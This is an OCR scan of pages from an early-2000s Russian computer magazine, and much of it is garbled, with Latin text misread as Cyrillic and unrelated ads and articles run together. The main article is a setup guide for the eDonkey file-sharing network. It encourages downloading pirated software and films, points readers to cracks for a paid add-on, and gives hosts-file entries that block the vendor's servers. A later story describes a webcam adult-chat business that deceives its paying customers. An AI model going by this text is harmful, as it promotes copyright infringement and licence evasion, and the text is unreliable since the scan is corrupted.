данные, и в скором времени следует ожидать 
активного внедрения в жизнь новых сервисов 
на ее основе. Недавно БиЛайн (ну, не зря ж 
его называют самым высокотехнологичным 
оператором) ввел в тестовую эксплуатацию 
услугу передачи мультимедийных сообщений 
ММ3. Теперь без использования дополни- 
тельных устройств можно спокойно кидать, 
например, коротенький видеоролик с одного 
продвинутого сотового телефона на другой 
или даже отправлять его на е-таіі. Кажется 
бреднями сумасшедшего фантаста? Я так не 
думаю, ведь уже сейчас сотовые операто- 
ры реально конкурируют с более привыч- 
ными городскими телефонными сетями. 
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Чистота и здоровье кожи... 

с каждой каплей 

©□©©гзкіп ОПшшшО 

Гель для умывания Клерасил Комплит 3 в 1 

При ежедневном использовании устраняет три основные причины 
появления прыщей. Очищает, открывает поры, уничтожает бактерии. 

У тебя чистая и здоровая кожа. 




Средства для предотвращения угревой сыпи 



О В00Т8 НЕАЬТНСАКЕ 
ШТЕКМТКЖАЬ 




Очищающий Увлажняющая Гель для Гель для умывания Очищающий Очищающий лосьон Очищающие 
гель длд тела эмудьсия умывания для чувствительной лосьон для для чувствительной салфетки 

кожи жирной кожи кожи 




ілллллі сіеагазіі ги 



Средства для лечения угревой сыпи 
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ЕООМКЕУ: ОСЛИК НЕ ДЛЯ ОСЛОВ 



ф Зопідие (Ш@ЫГ. ги, ИПр://№.ги) 



еЭопкеу 



■ ■ ■ ослик не для ослов 

Руководство по эксплуатации сабжа 



Если ты решил, что мы собираемся тебе подсунуть виртуального тамагочи - ты ошибаешься. С ними 
одна морока - корми их, убирай за ними, рассказывай им сказки на ночь... А они ругаются (в русской 
версии - нецензурно) и дохнут, не принося никакой ощутимой пользы. Нет, электронный ослик 
еРопкеу - другой. Он неприхотлив, живуч и дружелюбен. Он без проблем утянет для тебя гигабайты 
полезных данных. Так что, дружище, не спеши переворачивать страницу. Устраивайся поудобнее - а я 

расскажу тебе много интересного об этом замечательном животном. 



<Введение. 

Жизненные реалии и Р2Р-сети> 



В Интернете есть все. Думаю, ты об этом часто слышал. Но, 
вволю нагулявшись по поисковикам и варезным сайтам, ты, 
скорее всего, понял, что все не так просто: чаще всего ссыл- 
ки на позарез нужную тебе новую версию фотошопа, 
ІЗО’шник ѴѴіпХР или на свежую серию «Санта-Барбары» либо 
изначально были дохлыми, либо тихо умирали прямо в твоем 
даунлоад-менеджере. Это логично: во-первых, правооблада- 
тели не спят и быстро «давят» такие сервера, во-вторых, если 
не ограничивать пропускную способность канала, то народной 
любви к серверу с хорошей подборкой вареза и коллекцией 
фильмов он обычно не выдерживает. В любом случае, тянуть 
что-то одновременно с сотней других пользователей через уз- 
кое «горло» в 10-15 кЬрз - сомнительное удовольствие. 

Но нам с тобой нет необходимости тратить свое время и нер- 
вы. Мы вполне можем пользоваться услугами сетей шаринга 
файлов, работающих по принципу реег-іо-реег (Р2Р) - переда- 
ча информации напрямую от клиента клиенту. По этой техноло- 
гии построены сервисы Ка2аА, іМезіі, ныне покойные Иар^ег и 
АисІіоОаІаху, пейджеры ІСО и Осіідо. И если №рзіег предусмат- 
ривал исключительно обмен музыкой, то с помощью еОопкеу 
или іМезІі можно обмениваться чем угодно: музыкой, варезом, 
фильмами. Идея тривиальна: ты ставишь себе небольшую про- 
грамму, указываешь ей, чем из своей коллекции ты хочешь по- 
делиться с народом, цепляешься к сети - и в твоем распоряже- 
нии все, что лежит в публичном доступе у нескольких сотен ты- 
сяч человек. И никаких соругідМІ сопігоі зегѵісез! 

Этот обзор посвящен одной из лучших Р2Р-сетей - сети 
еЭопкеу. 



<Родословная еОопкеу> 




Скандал вокруг Напстера сделал хорошую рекламу идее - 
начали появляться сети аналогичной концепции. Но опыт - 
очевидно, сын ошибок трудных, и потомки чаще всего обес- 
печивали лучший сервис и были свободны от недостатков 




■ ѵѵѵщ.ебопкеѵ2000.сот - официальный сайт еЭопкеу. 

■ ѵѵѵщ.оѵегпеісот - официальный сайт ОѵегМеі. 

■ ѵѵѵш.йЫіпсІег.сот - официальный сайт еЭопкеу Ьоі. 

■ ѵѵѵѵѵѵ.гиѵісіео.сот - отличный сайт с еЭопкеу-ссыл- 
ками и кучей полезной информации по настройке. 
Знакомство с сообществом еЭопкеу рекомендуется 
начинать отсюда. 




Интерфейс еОопкеу 



предшественника. Основными просчетами создателей Нап- 
стера были ориентировка исключительно на музыку и цент- 
рализованность сети: все пользовательские базы данных 
хранились на центральном сервере компании. Сеть еЭопкеу 
придерживается широких взглядов на контент и свободна от 
корпоративного единства - физически это множество неза- 
висимых серверов, обслуживающих по нескольку сотен или 
тысяч юзеров каждый. Если тебе нечем заняться - ты тоже 
можешь скачать и поставить у себя серверную часть 
еЭопкеу. Через некоторое время твой сервер появится в об- 
щем списке, и кто-нибудь обязательно скажет тебе за это 
«спасибо». Вполне возможно, что это сделает твой провай- 
дер, когда будет выставлять тебе счет за трафик :). 

Для сети еЭопкеу существуют два основных клиента: 

Оѵег№1 является развитием еЭопкеу2000, обладает сход- 
ным интерфейсом и функциями. Между ними есть неболь- 
шая разница в интерфейсе поиска, а также в ОѵегМеІ отсут- 
ствует понятие «сервер» - клиенты «общаются» друг с другом 
напрямую. В принципе, абсолютно все равно, какого клиен- 
та предпочесть - учитывай только, что ОѵегМеі написан с ис- 
пользованием технологии . МЕТ, и для того, чтобы он запус- 
тился, тебе сначала нужно выкачать и поставить пакет «М$ 
.МЕГ ігатеѵѵогк». 



<еОопкеу: знакомство 
(яиіск’п’сіігіу іпзіаііаііоп диісІе)> 



Чтобы особо не путаться, мы выберем для вивисекции 
е0опкеу2000, как программу, имеющую больше возможнос- 
тей тонкой настройки. В тех случаях, когда поведение 
ОѵегМеі сильно отличается, это будет отмечено. 




Знакомься: это ОѵегИеі 



е0опкеу2000 существует в консольной и СІІІ-версиях 
для ѴѴіпсІоѵѵз и Ііпих, а также имеет ^ѵа-инкарнацию 
для использования под ЛЧЕ. Консольная версия клиен- 
та обеспечивает абсолютно ту же функциональность, 
что и СІІІ-версия (в том числе понимает ейопкеу- 
ссылки), но все придется делать ручками, вводя нуж- 
ные команды. 


















ИЩЕМ УЯЗВИМОСТИ 
В ЧУЖИХ СРАЙРВОЛАХ 

■ гуляем по семи уровням протоколов 

- ковыряем дырочки пплар’ом 

- присматриваемся кжелезячным 
брандмауэрам 

ОБЕСПЕЧИВАЕМ 
БЕЗОПАСНОСТЬ 
СВОЕГО КОМПА 

- выбираем фарвол под ѵѵіп 
- настраиваем самые популярные ѵѵіп- 
файрволы 

- конфигурим встроенные *піх- 

файрволы 

- прячем сети от врага 



ПРОБИВАЕМ 
ОГНЕННЫЕ СТЕНЫ 

- лезем в готовые дыры 

- разрушаем барьер изнутри 

- цепляемся за сервисы 



еОопкеу в командной строке 



Мы - не армянский комсомол, чтобы самим себе устраивать 
трудности, а потом их преодолевать. Мы отлично себя чув- 
ствуем в ѴѴіпсІоѵѵз хр и поэтому будем ставить 0111-версию 
под ѴѴіпсІоѵѵз. Но перед этим на машине с файрволлом сле- 
дует открыть ТСР-порты 4661-4664 и ІЮР-порты 4665 на 
вход и на выход. Если у тебя еще и І\ІАТ - на гейте перена- 
правляешь те же порты на машину с еОопкеу. 



ИЗБАВЛЯЕМСЯ ОТ РЕКЛАМЫ 



Надоел баннер вверху? Плати денежку за регистрацию. 
Если жадничаешь - иди в папку с ослом, ищи файлы 
ШтІ и беШтІ, удаляй оттуда все содержимое и 
ставь на них атрибут ПеасІ опіу. А еще лучше - в беШплІ 
между тегами <Ьобу>...</Ьос1у> вставь такой код: 

<а ИгеТ=Шр://хакер. ги іагдеі=Ыапк><ітд 
5гс=Ігйр://зопідие.рІі.ги/сіоѵѵпІоасі5/е2к_Іі.]рд 
ѵѵіс№і=464 ІіеідІй=58 ЬогсІег=0></а> 

...и получишь вполне приличную картинку с нашим ло- 
готипом, по клику на которой ты будешь уходить на 
сайт твоего любимого ][. Не забудь про атрибут Веасі 
опіу - иначе эта красота будет вскорости ослом изме- 
нена обратно. 



Все, теперь устанавливаем и запускаем программу. Затем, 
разобравшись в интерфейсе, давим кнопку «Орііопз» и про- 
изводим несколько магических пассов. 



Настройка еОопкеу 



1. Твой ник. Если не планируешь общаться с помощью 
еОопкеу - то смысла особого не имеет. Пиши, что хочешь. 

2. Использование канала. Выстави здесь максимальную ши- 
рину канала, которую ты согласен отдать для загрузки (Мах 
Ооѵѵпіоасі ЗреесІ и І_іпе Зреесі Ооѵѵп) и выдачи (Мах ІІрІоасІ 
Зреесі) файлов. 

3. Это уже важнее. Прежде, чем ты начнешь что-то искать и 
качать - определись с местом, где у тебя будут лежать вре- 
менные файлы еОопкеу (рій іетрогагу Тііез а!) и куда будут 
складываться файлы, докачанные до конца (риі іпсопліпд іііез 
аі). Здесь есть несколько тонкостей. Во-первых, размещай 
эти папки на одном томе - тогда преобразование файла из 
временного в постоянный будет занимать всего пару секунд. 
Во-вторых, папку для временных файлов держи на диске, на 
котором у тебя больше всего свободного места, так как 
еОопкеу, начиная закачку, резервирует место сразу под весь 
файл, забивая отсутствующие блоки нулями. Если у тебя 
ѴѴіпсІоѵѵз ХР/2000 - присвой этой папке и ее содержимому ат- 
рибут «сотргеззесі». 

4. Ограничение на максимальное количество соединений. 
В зависимости от своего канала выставляешь здесь 500- 
1 000 - будь осторожен, чтобы не «убить» связь. Для 
ѴѴіп2000/ХР не нужно никаких дополнительных ма- 
нипуляций, а вот если у тебя ѴѴіпсІоѵѵз МЕ/98, то, 



Х-Стиль Кодинг иоу9*іск Ю 














ЕООМКЕУ: ОСЛИК НЕ ДЛЯ ОСЛОВ 



ф Зопідие ги, ИПр://№.ги) 



просто сменив цифру в опциях еОопкеу, реально повлиять 
на количество соединений ты не сможешь. Придется 
лезть в реестр и вручную поправить ключ 
НКІМ\5у5іет\СиггепЮопігоІ5еі\8егѵісе5\ѴхО\М5ТСР\Мах 
Соппесйопз. 

5. Выставляем опции: 

* «АІѵѵауз зіау соппесіесі». Ослик при дисконнекте сразу на- 
чинает попытки подцепиться к другому серверу. 

* «Песоппесі оп Іозз». Ослик начинает переподключаться к 
тому же серверу, на котором висел до обрыва. 

* «Аиіотаіісаііу гетоѵе сіеасі зегѵегз». Удалять «мертвые» сер- 
вера из списка. 

* «Ѵегііу боѵѵпіоасі сапсеіз». Проверка отмены запросов на за- 
качку. 

* «ѴегЬозе». Показывать дополнительную служебную инфор- 
мацию (это для маньяков типа меня, которые желают кон- 
тролировать все и вся :)). 

* «СІозе зепсіз Іо зузіет Ігау». При нажатии на кнопку с кре- 
стиком ослик не закрывается, а мирно сворачивается в трей. 

* Опция «5аѵе соггирі Іііез» (сохранять поврежденные фай- 
лы), в общем-то, не нужна и даже вредна, если для тебя важ- 
нее целостность файла, нежели его наличие в любом виде. 
В случае с софтом это критично. Если эта опция включена - 
всегда убирай «запорченные» файлы из общего доступа, да- 
бы не способствовать их дальнейшему распространению. 

6. Сообщения от других юзеров. На твое усмотрение. Если со- 
бираешься общаться с помощью еОопкеу - ставь «Ассері аІІ». 

7. Настройки прокси, установка текстовых фильтров на по- 
иск. Кнопка «СІіапде III» ничего не делает, так что можешь 
использовать ее в качестве «кнопки для нажимания» :). 

У Оѵег№! в опциях есть кнопка «Таке есІ2к Ііпкз» (обрабаты- 
вать ссылки еОопкеу), а также возможность вручную указать 
порты. ОѵегІМе! спокойно живет вместе с еОопкеу - ему по- 
фиг, на каких портах висеть. 

Настроился? Открыл порты? Жми «Соппесі»! Нажал? Соеди- 
няется? Долго соединяется? Уже час сидишь, смотря на 
окошко, а толку никакого? Закрывай осла и двигай на сайт 
ѵѵѵѵѵѵТІіесІопкеупеІѵѵогк.сот в раздел зегѵегіізі за свежим 
списком живых серверов. Точно закрыл осла? Проверь - ес- 
ли не закрыл, то у тебя не получится обновить нужный файл. 
Скачиваешь актуальный зегѵег.теі, кладешь его в папку с 
еОопкеу, и - вуаля, твой персональный интернет-ослик готов 
пахать на тебя до седьмого пота. 

Соединившись с сервером, проверь свой ІІзегЮ (показыва- 
ется в диалоге «АЬои!»). Если он длинный (8-10 цифр) - все в 
порядке, можно жить. Если короткий - лучше переподклю- 
читься, так как короткий ІІзегЮ означает «пассивный режим», 
и ты не сможешь что-либо выкачивать у людей, сидящих за 
файрволлом. А зачем нам добровольно себя ограничивать? 



ССЫЛКИ ПО ТЕМЕ 



■ ѵѵш/.киЫк.ги/есІ аиісіе.ріір - подробные рекоменда- 
ции по подготовке еОопкеу к работе. 

■ ѵ\лллл/.пеІІаЬ.е2к. ги/іпсіех. рИр?ісІ— Тад - русский РАО 
по еОопкеу. 

■ ѵѵѵѵѵѵ.іііесіопкеѵпеіѵѵогк.сот - свежие списки «жи- 
вых» серверов. 



Поиск в еОопкеу идет на том сервере, к которому ты подсо- 
единился. Жмешь на вкладку «Зеагсіі», выбираешь тип фай- 
ла, вбиваешь то, что хочешь найти. Однако помни, что ты 
ищешь именно файлы, а не что-то абстрактное, еОопкеу - 
это не Яндекс, и контекстные запросы туг не прокатят. Да- 
вишь «ЗиЬтіІ», через несколько секунд получаешь список 
подходящих файлов из базы данных своего сервера. Если в 
этом списке ничего подходящего нет - обрати внимание на 
кнопочку «Ехіепсі зеагсіі», которая появляется рядом с 
«ЗиЬті!» по окончании поиска. Ее легко не заметить, а меж- 
ду тем, именно нажатие этой кнопки генерирует отправку по- 
искового запроса к следующему серверу. Нашел? Теперь 
кликни эту кнопку раз пятьдесят :) до момента появления 
надписи «N 0 тоге зегѵегз Іо ехіепсі Іо» - пусть ослик пройдет- 
ся с твоим запросом по всему списку серверов. Кстати, это 
рекомендуется делать в любом случае: во-первых, так боль- 
ше шансов отыскать то, что ищешь, а во-вторых, ты полу- 
чишь возможность оценить, у какого количества человек есть 
нужный тебе файл (аѵаіІаЬИіІу), и выбрать ту версию, у кото- 
рой больше всего источников. 





Процесс загрузки 



Нашел файл? Кликай на нем правой кнопкой мыши и добав- 
ляй в очередь. На вкладке «Ооѵѵпіоасіз» можно посмотреть, 
что именно еОопкеу сейчас делает с файлом: занимается 
поиском источников («І_оокіпд...») или закачивает 
(«Тгапзіеггіпд...»), у кого именно и какие фрагменты найдены, 
что из них тянется, а что - стоит в очереди («Оп циеие»). 
Справа на каждой строчке - цветная линейка, графическое 
представление доступных фрагментов. Черные полоски - те 
части, что есть в наличии, синие и красные - недостающие. 
На линейке с именем файла показывается его комплектация 
у тебя на винте, на линейке рядом с ником источника - на- 



личие каких-то фрагментов (которые ослик будет закачи- 
вать) у него. Самая песня, когда в наличии несколько источ- 
ников с полностью черными линейками - это те, у кого файл 
есть целиком. 



ДОПОЛНИТЕЛЬНЫЙ СОФТ 



Назіі еігіогсег 

ѵѵѵм.сііайегпаііоп . пеі/іесхх ІооІз/геИазИ .гір 
Полезняшка, которая пригодится в случае «зависа- 
ния» докачанного файла в стадии «Еоокіпд». Позволя- 
ет слегка запортить файл, изменив в нем несколько 
байт, что заставит еОопкеу перезакачать неправиль- 
ный блок. 

ейопкеу сіосіог 

шла/. пе!ІаЬ.е2к. ги/тѵріс/РопкеѵРосІог 1 0ОІс.гір 
Утилита для восстановления списка закачек из вре- 
менных файлов (.те!) еОопкеу в случае неожиданных 
падений программы. Инструкция на русском: 
ѵѵѵѵѵѵ. пе!1аЬ.е2к. ги/іпсіех. р!ір?ісНад&р=45. 

РакеСНеск 

ѵѵѵѵѵѵ. сіоп кеѵ-іооіз . сіе/еп д/і псіех. ріт р?зесІіоп ^Такесітеск 
Проверка закачек на вшивость. Прочесывает твой 
боѵѵпіоасі-лист и сверяет файлы с базой данных фаль- 
шивок сайта ІШр://бопкеу-Іакез.бе.ѵи. 



<Обмен файлами в сети 
еРопкеу: технологий 



Неудобно? Неудобно. Сидишь, как пенек, и тупо жмешь 
одну и ту же кнопку. Но ты не унывай, в природе сущест- 
вует очень хорошее дополнение к ослу - надстройка 
еРопкеу Ьо!, среди функций которой есть глобальный по- 
иск по всем серверам. 



Особенности технологии обмена файлами еРопкеу позици- 
онируют эту сеть, как незаменимую для шаринга файлов 
большого объема: тяжелых дистрибутивов или фильмов. 
Каждый файл бьется на небольшие блоки, которые уже в 
процессе закачки доступны для скачивания всем осталь- 
ным. еРопкеу с умом подходит к выбору очередного блока: 
в первую очередь тянутся наиболее редкие фрагменты, ко- 
торые сейчас «держит» меньше всего пользователей. Оче- 
видно, популярный файл быстро разойдется: через неболь- 
шой промежуток времени он равномерно «размажется» по 
сети. Если первый владелец файла не убрал его раньше, 
чем в сети будет доступно хотя бы по одной копии каждого 
фрагмента - еРопкеу гарантированно доставит твой заказ 
тебе на винт. Помни об этом условии, когда будешь разда- 
вать файлы. Не убирай их из публичного доступа сразу, по- 
дожди, пока они расползутся. Одинокий полугигабайтный 
150’шник с недостающим последним блоком в очереди - 
очень тоскливое зрелище. 



РАЗДАЧА ФАЙЛОВ 



Если ты собираешься заниматься раздачей файлов 
всерьез - особенно это касается файлов большого 
объема - попробуй сколотить свою собственную ко- 
манду. Когда я был ведущим раздела Моѵіег на 
ІМоІМаМе, мы использовали следующую весьма эффек- 
тивную стратегию: вначале файл раздавался по Іір 
всем членам группы (а это 20-30 человек на хороших 
каналах), а уже потом публиковали на сайте ссылку. 
Файлы «держались» неделю-другую порциями по не- 
скольку штук, чтобы обмен проходил более узкона- 
правленно. При этом снималась проблема «простаива- 
ния» в очередях по нескольку суток, закачка стартова- 
ла из нескольких полных источников - короче, процесс 
шел с максимальным КПД :). 














в продаже с 5 ноября 



Файлы в сети еЭопкеу идентифицируются не по имени, а по 
контрольной сумме и объему. Именно поэтому все равно, 
как называть файл, и поэтому же еОопкеу не так удобен для 
обмена музыкой: для трЗ-файлов нельзя гарантировать не- 
изменность, в отличие от фильмов и архивов. Простое изме- 
нение информации в ісІЗ-тэге приведет к появлению по тво- 
ей инициативе еще одного файла, который будет воспринят 
как уникальный. А если ты переупаковываешь архив или из- 
меняешь несколько байт в экзешнике - вероятнее всего, ты 
знаешь, что делаешь. 




Однозначная идентификация файлов делает возможным 
еще одну вкусную особенность ослика - возможность публи- 
кации ссылок на файл из сети еОопкеу. За это еОопкеу очень 
любят команды, занимающиеся релизами фильмов и софта. 
В общем виде ссылка выглядит следующим образом: 

есІ2к://|ііІе|ИМЯ ФАЙЛА ДЛЯ ПОСТАНОВКИ В ОЧЕРВДЬ|РАЗ- 
МЕР|ХЭШ| 

Чтобы вытащить из еОопкеу ссылку - достаточно щелкнуть 
правой кнопкой мыши по нужному файлу на вкладке 
«Ооѵѵпіоасіз» или «ЗИагесІ» и выбрать пункт меню «Сору Ііпк іо 
сІірЬоагсІ». 



ССЫЛКИ НА САЙТЫ 
С ЕРОЫКЕУ-Л ИНКАМИ 



■ ѵѵѵш.зііагегеасіог.сот - западный сайт с огромным 
количеством релизов фильмов, аниме, софта, игр для 
РС и приставок, книг и еще много чего. 

■ ѵѵѵм.гиѵісіео.сот - российские фильмы и мульт- 
фильмы. Рекомендуется форум. 

■ \АЛАЛА/.ппт.ги/тоѵіе2/іпсІех.рІір?зесІіоп=Ііпк2 - пред- 
шественник ВиѴісіео. 

■ \АЛАЛА/.пеіІаЬ.е2к.ги - русский аналог ЗііагеРеасіог. 

■ ѵѵѵм.есіопкеѵ-ііпкз.сот - много свежих релизов от 
французов. 



<еРопкеу Ьоі: дополнение к еОопкеу> 



Глобальный поиск по всем серверам списка, как ручная (од- 
ним кликом!), так и интеллектуальная автоматическая регу- 
лировка ширины канала на боѵѵпіоасі/иріоасі, слежение за па- 
раметрами соединения, ускорение процесса загрузки - мно- 
гое может полезняшка еОопкеуВоі, которую я очень реко- 
мендую использовать совместно с еОопкеу. Она может с за- 





данной периодичностью переключать сервера, выбирая те, 
на которых больше всего юзеров, что очень полезно при ска- 
чивании редких файлов. В режимах «Аиіо ргіогііу» и «І_оокіпд 
Ьоозі» она меняет приоритет у файлов и включает-выключа- 
ет паузу, тем самым «теребя» осла и заставляя его искать но- 
вые источники с большей интенсивностью. 

На текущий момент программа существует в инкарнациях 
І_ііе и Рго, отличающихся друг от друга наличием глобально- 
го поиска и некоторых функций мониторинга процесса. Рго- 
версия стоит денег. 

Последние версии еОопкеуВоі можно скачать по адресу 
ѵѵѵѵѵѵ.ііІе-ііпсІег.сотДіІез, лекарство к Рго-версии очень быст- 
ро находится поиском в самом еОопкеу. Версию 1 .21 - по- 
следнюю бесплатную версию программы, в которой еще 
присутствует глобальный поиск, можно скачать туг: ѵЬгизз- 
іап.сопл/тоѵіеДіІез/еОкВоіІ .21 .гір 



КАК ЗАСТАВИТЬ РАБОТАТЬ 
ЕООЫКЕѴВОТ 1 .21 , ЕСЛИ ОН 
УПОРНО «ВЫПОЛНЯЕТ 
НЕДОПУСТИМУЮ ОПЕРАЦИЮ». 



Добавляй в локальный сіпз (или поіерасГом в файл 
Ііозіз, расположенный в каталоге зузІет32/сІ гі ѵегз/еіс/ 
каталога ѵѵіпсіоѵѵз) следующие пары: 

127.0.0.1 ІтЗЗ.ігее.іг 
1 27.0.0. 1 ш/ѵѵ.іііе-ііпсіег.сот 
1 27.0.0. 1 зс!а.есіопкеу2000.сот 



<Итого> 



Начав пользоваться еОопкеу, ты быстро поймешь, что ре- 
сурсы этой сети актуальны и неисчерпаемы. Главное - не 
слушай тех, кто говорит, что это забава для людей с боль- 
шими бабками, выделенной линией и наплевательским от- 
ношением к трафику. Брось, все не так пессимистично. По- 
делюсь с тобой секретом: у меня нет никакой выделенки, у 
мемнлтрт^ 

считывать гигабайты, вытянутые с того момента, как у ме- 
ня на машине поселился ослик. Отсутствие выделенки - не 
препятствие, просто нужно чуть-чуть терпения и дешевый 
(ночной) анлим. Так что смело ставь эту прогу и постигай с 
ней счастье обладания контентом. Ну а я пошел смотреть, 
не появилась ли у кого из ослиководов вторая часть «Влас- 
телина колец». Не люблю, знаешь ли, когда мой еОопкеу 
простаивает без дела. 




* 



ІЖ 




Из ноябрьского номера 
журнала «Свой бизнес» 
вы узнаете: 



Г орячая тема. 

Фискальные новшества. С 1 января 2003 
года кассовые аппараты подорожают вдвое. 

Действующие лица 

Трудно ли прорваться наверх в музыкальном 
бизнесе? Рассказывает генеральный 
директор студии "Граммофон рекорде" быв- 
ший офицер Сергей Балдин 

Страусиная ферма. 

Экзотическое мясо страуса покупают пока 
только состоятельные гурманы и дорогие 
столичные рестораны. Но бизнесмены 
уверены: у этой отрасли птицеводства в 
России большое будущее 

Договор. Не подписывайте все подряд! 

Об особенностях составления договора 
подряда рассказывает юрист фирмы 
"Частное право" Юлия Врублевская 

Аналитическое обозрение 
российского рынка лизинга 

По прогнозам аналитиков, в 2002 году общая 
сумма лизинговых сделок в России составит 
$2-2,4 млрд. 

История компании ^СВ 

Как англичанин Джозеф Сирил Бамфорд 
организовал всемирно известную компанию 
по производству экскаваторов-погрузочников 
не привлекая банковских кредитов. 

Дневник акции "Открой свой бизнес". 

Эксперты "СБ" помогают участнику конкурса 
Марату Арсланову открыть компьютерный клуб. 



ОТ РАБОТЫ ПО НАЙМУ К ФИНАНСОВОЙ НЕЗАВИСИМОСТИ 

СІЙІНП 




Кодинг 












эн куписнти бибнесн 



Наши политики клянут Инет как нечто, состо- 
ящее почти исключительно из порнографии, 
а я за 7 лет жизни в Сети ни разу даже на 
порносайте не была. Поэтому, когда я по- 
звонила по объявлению в газете о вакансии, 
требующей "умения быстро печатать на анг- 
лийском и хорошего знания языка для веде- 
ния видеоконференций", и поняла, что речь 
идет о "сетевом развлечении для взрослых", 
мне тут же захотелось попробовать свои си- 
лы на новом поприще. 

Вакансия была сама по себе не порнушная, 
но, тем не менее, напрямую с этой индуст- 
рией связанная - быть толмачом с клавиату- 
рой при стае обнаженных девушек за 150- 
200 долларов в неделю. Я жутко обрадова- 
лась - не зря же в последнее время запоем 
читаю N0-17 фики, в результате чего мой 
запас английских ненормативных слов зна- 
чительно превысил количество известных 
мне ругательств на русском, - и тут же дого- 
ворилась о собеседовании. 

г-------------! 

Фанфики - сетевая литература "по моти- 
вам" (книг, сериалов, фильмов, компью- 
терных игр). N0-17 - высшая из категорий 
"для взрослых", может содержать (и со- 
держит!) большое количество нецензур- 
ных слов, сцены насилия, гетеро- и гомо- 
секе. Как ни странно, сюжет, хороший 
язык и психологическая достоверность в 
них тоже часто встречаются. 



Кстати, подкупила меня и техническая компонента, ко- 
торую я достроила в воображении на основании инфор- 
мации, полученной от собеседователя, - выделенный 
канал, пропускающий видеоизображение с десяти ка- 
мер! Ух! После моего чахлого 56К модема, страдающего 



хроническим дисконнектом, с таким чудом рядом поси- 
деть - и то хорошо! 

Увы, приятельница с юрфака, с которой я поделилась но- 
востью, поспешила испортить мне хорошее настроение. 
Она завила, что моя будущая деятельность вроде бы под- 
падает под статью "распространение порнографии", на 
что до последнего времени не обращали внимания, но 
именно сейчас будто бы собираются обратить... 

Время до собеседования прошло в метаниях и томлениях. 
Я страдала от мысли, что, может быть, это так же без- 
нравственно, как торговать оружием или наркотиками. 
Ночью мне снились налеты на офис, допросы следовате- 
ля, позорный приговор в суде, плачущие родители и дол- 
гий срок. Но желание познать, как устроен один из немно- 
гих процветающих в Инете бизнесов, пересилило. 
Подъезд, квартира, могучая дверь, за ней охранник, похо- 
жий на подхалтуривающего студента. Основатель серви- 
са, похожий на подхалтуривающего аспиранта. Собеседо- 
вание на кухне. Основатель начал с того, что раскритико- 
вал мое знание английского, ибо ему не понравилось мои 
произношение и грамматика. Что правда, то правда - го- 
ворить по-английски я не умею совершенно. И не потому, 
что не умею, а потому что на публике я так стесняюсь, что 
порой забываю даже родной язык. Но ведь от меня требо- 
валось не говорить, а писать! Аналогичным образом под- 
верглись поношению мои интернет-достижения: основа- 
тель спросил, что я подразумеваю под "своими сайтами", 
ибо с его точки зрения сайт - это Яндекс или там Лист.ру, 
а все остальное - домашние странички, о которых и гово- 
рить не стоит. К этому моменту от злости я все-таки 
вспомнила отдельные (наиболее колоритные :) обороты 
родной речи и поинтересовалась, это он так пытается мне 
вежливо отказать или все-таки интересуется, что я умею. 
Данный подход себя оправдал. Мой работодатель сдался 
и все-таки допустил меня в ту дверь, за которой и твори- 
лось таинство порно. Хм... На вид это была обычная дверь 
в обычную комнату в обычной квартире :). Вдоль одной 
стены этой комнаты было сделано нечто вроде фонов для 
фотоателье - на полу пять матрацев, задрапированных 
вместе с прилегающим к ним куском стены яркими тканя- 
ми, на них пять девушек, фривольно, но отнюдь не предо- 
судительно одетых. Перед каждым матрацем - первое ра- 
зочарование - дешевенькая веб-камера, ни на какое ви- 



део не способная. Она передавала всего лишь небольшие 
картинки не очень хорошего качества - один кадр в десять 
секунд. Значит, - подумала я, - никаким каналом "повы- 
шенной проходимости" здесь тоже не пахнет. А я-то до 
этого все голову ломала, почему это при передаче видео- 
изображения общаться приходится в текстовом режиме, 
не голосом! 

Девушки едят, курят, болтают - мне сказали, что можно 
делать все, если не вставать с рабочего места. Очаровала 
меня одна из них - она лежала на животе, болтая в возду- 
хе ногами, настроив камеру так, чтобы весь экран заняла 
попка, и читала книгу. Люблю изящные решения. 




Вот что значит показать себя с лучшей стороны! 

Вдоль противоположной стены располагался стол с шес- 
тью компьютерами - по одному на каждую из девушек 
плюс один - для посторонних целей. На каждом мониторе 
одна и та же картинка: два окна чата и два одинаковых ок- 
на с изображением с веб-камеры. В каждом окошке чата 
заранее напечатано НеІІо - при появлении посетителя опе- 
ратору нужно только нажать Епіег. Что операторы (общим 
числом две штуки) время от времени и делали. 

Пока я бросала по сторонам любопытные взгляды, од- 
ному из операторов было поручено взять надо мной 
шефство. Из объяснений новоиспеченного наставника я 
поняла, что посетителей нынче много, но большинство 
из них желает просто забесплатно поговорить. Задача 
же оператора заключается в том, чтобы поприветство- 
вать клиента, перекинуться парой фраз, а потом пред- 
ложить перейти в видеоприват - ради чего все и затея- 
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но. При этом посетитель может несколько секунд 
бесплатно посмотреть на девушку - та слышит пре- 
дупреждающий звуковой сигнал и тут же начинает 
томно спускать лямочку с плеча или соблазнительно 
изгибаться. Если становится ясно, что посетитель не 
будет платить денежку, - разговор с ним сворачива- 
ют. Если человек соглашается расстаться со своими 
кровными - с ним работают оба. Оператор разгова- 
ривает, девушка соблазняет. 

Иногда оператор аж дымится (на этой фразе мой 
"наставник" тяжело вздохнул :), видимо, живо вспом- 
нил прецедент - по два чата на трех компьютерах те- 
оретически могут "ожить" одновременно, и тогда 
каждого зашедшего нужно быстро попытаться рас- 
крутить на видеосессию - что совсем непросто, рас- 
прощаться с теми, кто не подошел, и продолжать ве- 
сти доверительные, интимные разговоры с теми, кто 
начал платить. 

Но зачем им хороший английский? Я обратила внима- 
ние, что второй оператор - девушка - "ИагсІ соск" пере- 
вела как "большой член", а на мой слабый писк, что 
это скорее "эрегированный" махнула рукой со словами 
"это фигня, неважно". А их шеф мне намекал, что я в 
герундии не сильна! 

- Тем не менее, - продолжал объяснять инструктор, - 
работа оператора крайне важна. Клиент платит не за 
удовольствие посмотреть набор картинок нестудийно- 
го качества, клиент платит за общение! Самую боль- 
шую сумму фирме принес вовсе не извращенец, а кли- 
ент, который, оплатив сеанс, просто поговорил с кра- 
сивой девушкой "за жизнь"... Хм, по крайней мере, 
ему казалось, что он говорил с красивой девушкой, - 
добавил мой наставник, с улыбкой почесывая свою на- 
чинающую лысеть макушку. 

Вторая часть работы оператора - править досье деву- 
шек (например, менять ее фотку) на сервере и пра- 
вильно логиниться. Я напряженно пыталась запомнить 
последовательность действий - включить компьютер, 
взять вон ту бумажку и найти в таблице ников нужный 
ник и пароль к нему, ввести их, сверить вон те цифер- 




ки из той колонки с вот этими циферками в компьюте- 
ре вон в том окошке... Какое-то время я благоговейно 
слушала инструктаж, пока не поняла, что все инструк- 
ции сводятся к тому, чтобы жульничать, выдавая один 
комплект "матрас + девушка + камера + комп" за два 
комплекта. Вообще-то, это вроде как запрещено, но 
